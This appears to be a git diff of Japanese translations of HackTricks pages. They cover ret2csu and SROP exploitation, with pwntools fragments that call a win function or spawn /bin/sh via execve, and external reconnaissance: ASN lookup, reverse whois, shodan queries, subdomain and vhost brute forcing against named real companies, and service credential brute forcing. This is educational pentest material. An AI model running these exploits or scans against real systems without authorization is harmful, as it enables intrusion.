2. **2 番目のガジェットを使用**: これらのレジスタが設定されたら、2 番目のガジェットを使用します。これにより、選択した値を `rdx``rsi` に移動させ(それぞれ r14 と r13 から)、関数呼び出しのためのパラメータを準備します。さらに、`r15` と `rbx` を制御することで、計算したアドレスにある関数を呼び出すことができます。そして、そのアドレスを `[r15 + rbx*8]` に配置します。
[**このテクニックを使用して説明した例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) があり、それに使用された最終的なエクスプロイトは次のとおりです:
この技術を使用した[**例とその説明はこちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)で、これが使用された最終的なエクスプロイトです:
```python
from pwn import *
@ -124,12 +124,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
{% hint style="warning" %}
前のエクスプロイトは**`RCE`**を行うためではなく、単に`win`という関数を呼び出すことを意図しています(`win`のアドレスをstdinから取得し、ROPチェーン内のgetsを呼び出してr15に格納します。3番目の引数に値`0xdeadbeefcafed00d`を指定して`win`関数を呼び出します。
注意してください、前のエクスプロイトは**`RCE`**を行うことを目的としていません。これは、**`win`**という関数を呼び出すことを目的としていますROPチェーン内でstdinからgetsを呼び出して`win`のアドレスを取得し、それをr15に格納します第三引数には値`0xdeadbeefcafed00d`が指定されています。
{% endhint %}
### コールをバイパスしてretに到達する
次のエクスプロイトは、[**このページ**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html)から抽出されました。ここでは**ret2csu**が使用されていますが、コールの代わりに**比較をバイパスして`ret`に到達**しています。
以下のエクスプロイトは、**このページ**から抽出されました。ここでは**ret2csu**が使用されていますが、コールを使用する代わりに、**比較をバイパスしてコールの後の`ret`に到達しています**:
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -179,6 +179,21 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### なぜ直接libcを使用しないのですか?
### なぜlibcを直接使用しないのか?
通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)にも脆弱ですが、時にはlibc内で直接見つけることが困難なガジェットで制御する必要がある場合があります。たとえば、`write()` 関数は3つのパラメータが必要であり、**これらを直接設定するためのガジェットを見つけることができない**ことがあります。
通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)にも脆弱ですが、時にはlibc内で直接見つけたガジェットで簡単に制御できる以上のパラメータを制御する必要があります。例えば、`write()`関数は3つのパラメータを必要とし、**これらすべてを直接設定するためのガジェットを見つけることは不可能かもしれません**。
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,23 +1,23 @@
# SROP - ARM64
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricksをサポートする</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## Pwntoolsの例
この例は、脆弱なバイナリを作成し、それを悪用します。バイナリは**スタックに読み込み**、その後**`sigreturn`**を呼び出します:
この例は、脆弱なバイナリを作成し、それを悪用します。このバイナリは**スタックに読み込み**、その後**`sigreturn`**を呼び出します:
```python
from pwn import *
@ -85,7 +85,7 @@ return 0;
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## Exploit
## エクスプロイト
このエクスプロイトは、bofを悪用して**`sigreturn`**への呼び出しに戻り、スタックを準備して**`execve`**を呼び出すために`/bin/sh`へのポインタを用意します。
```python
@ -147,9 +147,9 @@ return 0;
セクション **`vdso`** では、オフセット **`0x7b0`** に **`sigreturn`** への呼び出しを見つけることができます:
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
したがって、漏洩した場合、バイナリがそれをロードしていない場合は、このアドレスを **`sigreturn`** にアクセスするために使用することが可能です:
したがって、漏洩した場合、バイナリがそれをロードしていない場合は **このアドレスを使用して `sigreturn` にアクセスすることが可能です**:
```python
from pwn import *
@ -178,21 +178,21 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
より多くの情報は vdso については以下を確認してください:
より多くの情報は vdso については以下を確認してください:
{% content-ref url="../ret2vdso.md" %}
[ret2vdso.md](../ret2vdso.md)
{% endcontent-ref %}
また、`/bin/sh` のアドレスをバイパスするために、それを指すいくつかの環境変数を作成することができます。詳細については:
また、`/bin/sh` のアドレスをバイパスするために、いくつかの環境変数をそれにポイントさせることができます。詳細については:
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
[aslr](../../common-binary-protections-and-bypasses/aslr/)
{% endcontent-ref %}
{% hint style="success" %}
AWS ハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP ハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS ハッキングを学び、練習する:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP ハッキングを学び、練習する:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,21 +1,21 @@
# 外部リコンメソ
# 外部リコンメソドロジー
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -35,25 +35,25 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
### **買収**
まず、**主要な会社が所有する他の会社**を知る必要があります。\
1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社によって取得された他の会社を見ることができます。\
1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社が買収した他の会社を見ることができます。\
もう1つのオプションは、主要な会社の**Wikipedia**ページを訪れ、**買収**を検索することです。
> さて、この時点でスコープ内のすべての会社を知っているはずです。彼らの資産を見つける方法を考えましょう。
### **ASNs**
自律システム番号(**ASN**)は、**インターネット割り当て番号機関IANA**によって**自律システム**ASに割り当てられた**ユニークな番号**です。\
自律システム番号(**ASN**)は、**インターネット番号割り当て機関IANA**によって**自律システム**ASに割り当てられた**ユニークな番号**です。\
**AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレス**の**ブロック**で構成され、単一の組織によって管理されますが、複数のオペレーターで構成される場合があります。
**会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。**スコープ内のすべてのホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\
**会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。スコープ内のすべての**ホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\
[**https://bgp.he.net/**](https://bgp.he.net)で会社の**名前**、**IP**、または**ドメイン**で**検索**できます。\
**会社の地域によっては、これらのリンクがより多くのデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/)**(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、恐らくすべての**有用な情報**IP範囲とWhoisは最初のリンクにすでに表示されています。
**会社の地域によっては、これらのリンクがより多くのデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、恐らくすべての**有用な情報**IP範囲とWhoisは最初のリンクにすでに表示されています。**
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
また、[**BBOT**](https://github.com/blacklanternsecurity/bbot)**の**サブドメイン列挙は、スキャンの最後にASNを自動的に集約し要約します。
また、[**BBOT**](https://github.com/blacklanternsecurity/bbot)**の**サブドメイン列挙は、スキャンの最後にASNを自動的に集約し要約します。
```bash
bbot -t tesla.com -f subdomain-enum
...
@ -73,10 +73,10 @@ bbot -t tesla.com -f subdomain-enum
You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\
You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com).
### **脆弱性の探索**
### **脆弱性の調査**
この時点で、**スコープ内のすべての資産**がわかっているので、許可されている場合は、すべてのホストに対して**脆弱性スキャナー**Nessus、OpenVASを実行することができます。\
また、いくつかの[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行するか、shodanのようなサービスを使用して**オープンポートを見つけることができ、見つけたものに応じて、この本を参照して、実行中のいくつかのサービスをペンテストする方法を確認するべきです。**\
この時点で、**スコープ内のすべての資産**がわかっているので、許可されている場合は、すべてのホストに対して**脆弱性スキャナー**Nessus、OpenVASを実行できます。\
また、[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行するか、shodanのようなサービスを使用して**オープンポートを見つけることができ、見つけたものに応じて、この本を参照して、実行中のさまざまなサービスをペンテストする方法を確認する必要があります。**\
**また、デフォルトのユーザー名**と**パスワードのリストを準備し、[https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)を使用してサービスをブルートフォースすることも価値があるかもしれません。**
## ドメイン
@ -85,7 +85,7 @@ You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
_以下の提案された技術では、サブドメインも見つけることができ、その情報は過小評価すべきではありません。_
まず、各企業の**主要なドメイン**を探すべきです。例えば、_Tesla Inc._の場合、_tesla.com_になります。
まず、各企業の**主要なドメイン**を探すべきです。たとえば、_Tesla Inc._ の場合、_tesla.com_ になります。
### **逆引きDNS**
@ -101,15 +101,15 @@ You can also use a online tool for this info: [http://ptrarchive.com/](http://pt
### **Reverse Whois (loop)**
Inside a **whois** you can find a lot of interesting **情報** like **組織名**, **住所**, **メールアドレス**, 電話番号... しかし、さらに興味深いのは、**これらのフィールドのいずれかで逆whois検索を行うと、**会社に関連する**より多くの資産を見つけることができる**ことです例えば、同じメールが表示される他のwhoisレジストリ\
Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\
You can use online tools like:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **無料**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **無料**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **無料**
* [https://www.whoxy.com/](https://www.whoxy.com) - **無料**ウェブ、無料ではないAPI。
* [https://www.whoxy.com/](https://www.whoxy.com) - **無料** web, not free API.
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 無料ではない
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 無料ではない**100回の無料**検索のみ)
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 無料ではない (only **100 free** searches)
* [https://www.domainiq.com/](https://www.domainiq.com) - 無料ではない
You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\
@ -119,7 +119,7 @@ You can also perform some automatic reverse whois discovery with [amass](https:/
### **Trackers**
If find the **同じトラッカーの同じID** in 2 different pages you can suppose that **両方のページ** are **同じチームによって管理されている**と推測できます。\
If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\
For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages.
There are some pages and tools that let you search by these trackers and more:
@ -137,11 +137,11 @@ Did you know that we can find related domains and sub domains to our target by l
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - 同じfaviconアイコンハッシュを持つドメインを発見する](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
![favihash - 同じファビコンアイコンハッシュを持つドメインを発見する](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
簡単に言うと、favihashはターゲットと同じfaviconアイコンハッシュを持つドメインを発見することを可能にします。
簡単に言うと、favihashはターゲットと同じファビコンアイコンハッシュを持つドメインを発見することを可能にします。
さらに、[**このブログ記事**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)で説明されているように、faviconハッシュを使用して技術を検索することもできます。つまり、**脆弱なバージョンのウェブ技術のfaviconのハッシュ**を知っていれば、shodanで検索して**より多くの脆弱な場所を見つける**ことができます。
さらに、[**このブログ記事**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)で説明されているように、ファビコンハッシュを使用して技術を検索することもできます。つまり、**脆弱なバージョンのウェブ技術のファビコンのハッシュ**を知っていれば、shodanで検索して**より多くの脆弱な場所を見つける**ことができます。
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
@ -160,7 +160,7 @@ return fhash
```
### **Copyright / Uniq string**
異なるウェブサイト間で**同じ組織内で共有される可能性のある文字列**をウェブページ内で検索します。**著作権文字列**は良い例です。その後、**google**、他の**ブラウザ**、または**shodan**でその文字列を検索します: `shodan search http.html:"Copyright string"`
ウェブページ内で、**同じ組織内の異なるウェブサイトで共有される可能性のある文字列**を検索します。**著作権文字列**は良い例です。その後、**google**、他の**ブラウザ**、または**shodan**でその文字列を検索します: `shodan search http.html:"Copyright string"`
### **CRT Time**
@ -190,21 +190,21 @@ Apparently is common for people to assign subdomains to IPs that belongs to clou
As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
You could access the **TLS証明書** of the main web page, obtain the **組織名** and then search for that name inside the **TLS証明書** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **メインドメインに関連するドメイン** and **そのサブドメイン**, pretty amazing.
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **メインドメインに関連するドメイン**とその**サブドメイン**を探す、非常に素晴らしいです。
### **脆弱性の探索**
### **脆弱性の調査**
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
If you find any **IPが異なるドメイン** from the ones you already found in the assets discovery, you should perform a **基本的な脆弱性スキャン** (using Nessus or OpenVAS) and some [**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**バグバウンティのヒント**: **サインアップ** for **Intigriti**, a premium **バグバウンティプラットフォーム created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
**バグバウンティのヒント**: **Intigritiにサインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を得始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -226,7 +226,7 @@ dnsrecon -a -d tesla.com
```
### **OSINT**
多くのサブドメインを迅速に取得する最も早い方法は、外部ソースで検索することです。最も使用される**ツール**は以下の通りですより良い結果を得るためにAPIキーを設定してください
多くのサブドメインを迅速に取得する最も効果的な方法は、外部ソースで検索することです。最も使用される**ツール**は以下の通りですより良い結果を得るためにAPIキーを設定してください
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash
@ -360,7 +360,7 @@ python3 DomainTrail.py -d example.com
DNSブルートフォースに最も推奨されるツールは次のとおりです:
* [**massdns**](https://github.com/blechschmidt/massdns): これは効果的なDNSブルートフォースを実行した最初のツールです。非常に高速ですが、誤検知が発生しやすいです。
* [**massdns**](https://github.com/blechschmidt/massdns): これは効果的なDNSブルートフォースを実行した最初のツールです。非常に高速ですが、誤検知が発生しやすいです。
```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@ -384,7 +384,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### 第二のDNSブルートフォースラウンド
オープンソースとブルートフォースを使用してサブドメインを見つけた後、見つたサブドメインの変種を生成してさらに多くを見つけることができます。この目的のために役立つツールがいくつかあります:
オープンソースとブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変種を生成してさらに多くを見つけることができます。この目的のために役立つツールがいくつかあります:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** ドメインとサブドメインを与えると、順列を生成します。
```bash
@ -420,13 +420,13 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムを備えたサブドメインブルートフォースファズァです。提供された入力データセットカスタマイズされたワードリストや過去のDNS/TLSレコードなどを利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてループ内でさらに拡張します。
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムを組み合わせたサブドメインブルートフォースファッザーです。カスタマイズされたワードリストや過去のDNS/TLSレコードなど、提供された入力データセットを利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてループ内でさらに拡張します。
```
echo www | subzuf facebook.com
```
### **サブドメイン発見ワークフロー**
私が書いたブログ記事をチェックしてください。**Trickestワークフロー**を使用してドメインから**サブドメイン発見を自動化する**方法について説明しています。これにより、コンピュータで手動で多数のツールを起動する必要がなくなります:
私が書いたこのブログ記事をチェックしてください。**Trickestワークフロー**を使用してドメインから**サブドメイン発見を自動化する**方法について説明しています。これにより、コンピュータでツールを手動で起動する必要がなくなります:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
@ -434,7 +434,7 @@ echo www | subzuf facebook.com
### **VHosts / バーチャルホスト**
サブドメインに属する**1つまたは複数のウェブページ**を含むIPアドレスを見つけた場合、そのIP内の**ウェブを持つ他のサブドメインを見つける**ために、**OSINTソース**でIP内のドメインを探すか、**そのIP内のVHostドメイン名をブルートフォースする**ことを試みることができます。
サブドメインに属する**1つまたは複数のウェブページ**を含むIPアドレスを見つけた場合、そのIP内の**ウェブがある他のサブドメインを見つける**ために、**OSINTソース**でIP内のドメインを探すか、**そのIP内のVHostドメイン名をブルートフォースする**ことを試みることができます。
#### OSINT
@ -442,7 +442,7 @@ echo www | subzuf facebook.com
**ブルートフォース**
ウェブサーバーに隠されたサブドメインがあると疑う場合、それをブルートフォースすることを試みることができます:
ウェブサーバーに隠されたサブドメインがあると疑う場合は、それをブルートフォースしてみることができます:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -468,27 +468,27 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
```
### **バケットブルートフォース**
**サブドメイン**を探しているときは、**バケット**のいずれかに**ポイント**しているかどうかに注意し、その場合は[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)**。**\
**サブドメイン**を探しているときは、**バケット**のいずれかに**ポイント**しているかどうかに注意し、その場合は[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)**してください。**\
また、この時点でスコープ内のすべてのドメインを知っているので、[**可能なバケット名をブルートフォースし、権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してみてください。
### **モニタリング**
**新しいサブドメイン**が作成されたかどうかを監視するには、**Certificate Transparency**ログを監視することができます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)がそれを行います。
**新しいサブドメイン**が作成されたかどうかを監視するには、**証明書透明性**ログを監視することができます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)がそれを行います。
### **脆弱性の検索**
可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\
**サブドメイン**が**S3バケット**を指している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。
もし**サブドメイン**が**S3バケット**を指している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。
もし**資産発見**で見つけたものとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**NessusやOpenVASを使用と、**ポートスキャン****nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスによっては、**この本にあるいくつかの「攻撃」するためのトリック**を見つけることができます。\
_サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外であることに注意してください。注意が必要です。_
もし**資産発見**で見つけたものとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**NessusやOpenVASを使用と、**ポートスキャン****nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスに応じて、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**。\
_サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外であることに注意してください。_
## IPs
初期のステップで、**いくつかのIPレンジ、ドメイン、サブドメイン**を**見つけたかもしれません**。\
これらのレンジから**すべてのIPを収集**し、**ドメイン/サブドメインDNSクエリ**のための時間です。
初期のステップで、**いくつかのIP範囲、ドメイン、サブドメイン**を**見つけたかもしれません**。\
これらの範囲から**すべてのIPを収集**し、**ドメイン/サブドメインDNSクエリ**のための時間です。
以下の**無料API**のサービスを使用すると、**ドメインとサブドメインによって使用された以前のIP**も見つけることができます。これらのIPはまだクライアントによって所有されている可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。
以下の**無料API**のサービスを使用すると、**ドメインとサブドメインによって使用された以前のIP**も見つけることができます。これらのIPはクライアントによってまだ所有されている可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。
* [**https://securitytrails.com/**](https://securitytrails.com/)
@ -496,19 +496,19 @@ _サブドメインがクライアントによって制御されていないIP
### **脆弱性の検索**
**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスで、**脆弱性を見つけることができるかもしれません**。
